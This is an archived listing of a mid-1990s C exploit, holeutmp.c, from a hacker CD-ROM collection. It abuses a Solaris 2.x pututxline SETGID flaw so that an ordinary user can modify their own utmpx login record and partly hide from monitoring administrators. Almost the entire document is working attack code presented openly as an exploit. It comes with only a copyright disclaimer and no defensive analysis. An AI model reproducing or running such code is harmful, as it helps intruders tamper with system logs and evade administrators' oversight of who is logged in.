home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / solaris / sol-ho~1.asc < prev    next >
Encoding:
Text File  |  1997-03-11  |  3.2 KB  |  121 lines

  1.  
  2.  
  3.  
  4.  
  5. /*
  6.  
  7.  * utmprm (version 1.0)
  8.  
  9.  * renamed to holeutmp.c (version 1.0)
  10.  
  11.  *
  12.  
  13.  * Copyright, 1994, 1995 by Scott Chasin (chasin@crimelab.com)
  14.  
  15.  * Modified by Hendrik Visage (hendrik@jupiter.cs.up.ac.za)
  16.  
  17.    to exploit a pututxline SETGID problem
  18.  
  19.  *
  20.  
  21.  * This material is copyrighted by Scott Chasin, 1994, 1995. The 
  22.  
  23.  * usual standard disclaimer applies, especially the fact that the 
  24.  
  25.  * author is not liable for any damages caused by direct or indirect 
  26.  
  27.  * use of the information or functionality provided by this program.
  28.  
  29.  */
  30.  
  31.  
  32.  
  33. /* utmprm takes advantage of a Solaris 2.x utmpx system call that
  34.  
  35.  * allows any user to remove themselves from the corresponding
  36.  
  37.  * utmp files and partly out of the eyes of monitoring admins.
  38.  
  39.  */
  40.  
  41.  
  42.  
  43. #include <stdio.h>
  44.  
  45. #include <pwd.h>
  46.  
  47.  
  48.  
  49. #include <utmpx.h>
  50.  
  51.  
  52.  
  53. char *strchr(), *strdup(), *ttyname(), *getlogin();
  54.  
  55.  
  56.  
  57. main (argc, argv)
  58.  
  59. int argc;
  60.  
  61. char **argv;
  62.  
  63. {
  64.  
  65.   uid_t ruid, getuid();
  66.  
  67.   char *ttyn, *tty, *username;
  68.  
  69.   struct passwd *pwd;
  70.  
  71.  
  72.  
  73.   /* Grab our ttyname */
  74.  
  75.  
  76.  
  77.   ttyn = ttyname(0);
  78.  
  79.  
  80.  
  81.   if (ttyn == NULL || *ttyn == '\0') 
  82.  
  83.    {
  84.  
  85.       fprintf (stderr, "utmprm: where are you?\n");
  86.  
  87.       exit (1);
  88.  
  89.    }
  90.  
  91.           
  92.  
  93.   if (tty = strchr (ttyn + 1, '/'))
  94.  
  95.       ++tty;
  96.  
  97.   else
  98.  
  99.       tty = ttyn;
  100.  
  101.  
  102.  
  103.   /* Grab our login name */
  104.  
  105.   ruid = getuid ();
  106.  
  107.   username = getlogin ();
  108.  
  109.  
  110.  
  111.   if (username == NULL || (pwd = getpwnam (username)) == NULL ||
  112.  
  113.       pwd->pw_uid != ruid)
  114.  
  115.       pwd = getpwuid (ruid);
  116.  
  117.  
  118.  
  119.   if (pwd == NULL) 
  120.  
  121.    {
  122.  
  123.       fprintf (stderr, "utmprm: who are you?\n");
  124.  
  125.       exit (1);
  126.  
  127.    }
  128.  
  129.  
  130.  
  131.   username = strdup (pwd->pw_name);
  132.  
  133.  
  134.  
  135.   utmpx_delete (username, tty);
  136.  
  137. }
  138.  
  139.  
  140.  
  141. utmpx_delete (user, line)
  142.  
  143.   char *user;
  144.  
  145.   char *line;
  146.  
  147.   {
  148.  
  149.     struct utmpx utx;
  150.  
  151.     struct utmpx *ut;
  152.  
  153.  
  154.  
  155.     /* Let's build a utmpx structure that looks like
  156.  
  157.      * our entries profile.
  158.  
  159.      */
  160.  
  161.  
  162.  
  163.     strncpy (utx.ut_line, line, sizeof (utx.ut_line));
  164.  
  165.     strncpy (utx.ut_user, user, sizeof (utx.ut_user));
  166.  
  167.  
  168.  
  169.     /* We use getutxline to search /var/adm/utmpx for our
  170.  
  171.      * entry.
  172.  
  173.      */
  174.  
  175.  
  176.  
  177.     if ((ut = getutxline (&utx)) == 0) 
  178.  
  179.       printf ("utmprm: entry not found for %s (%s)\n", user, line); 
  180.  
  181.     else { 
  182.  
  183.       /* Since we doesn't want to remove the entry, 
  184.  
  185.      all the DEAD_PROCESS related stuff
  186.  
  187.      isn't needed 
  188.  
  189.       ut->ut_type = DEAD_PROCESS;
  190.  
  191.       ut->ut_exit.e_termination = 0; 
  192.  
  193.       ut->ut_exit.e_exit = 0; 
  194.  
  195.       */
  196.  
  197.  
  198.  
  199.       gettimeofday (&(ut->ut_tv), 0);
  200.  
  201.       ut->ut_type = USER_PROCESS;
  202.  
  203.       strcpy(&(ut->ut_host),"Probleme.SA");
  204.  
  205.       ut->ut_syslen=strlen(ut->ut_host);
  206.  
  207.  
  208.  
  209.       strcpy(&(ut->ut_line),"|");
  210.  
  211.  
  212.  
  213.         /* Using pututxline as a normal user, we take advantage
  214.  
  215.          * of the fact that it calls a setuid system call to
  216.  
  217.          * modify the utmpx entry we just build.  The only check
  218.  
  219.          * that pututxline has is that the login name in the utmpx
  220.  
  221.          * entry must match that of the caller's and that the
  222.  
  223.          * utmpx device entry is a real device writable by the
  224.  
  225.          * caller.
  226.  
  227.          */
  228.  
  229.  
  230.  
  231.         pututxline (ut);
  232.  
  233.         printf ("utmprm: %s (%s) modified with exit code %d.\n", user, line,pututxline (ut));
  234.  
  235.     }
  236.  
  237.     endutxent ();
  238.  
  239. }
  240.  
  241.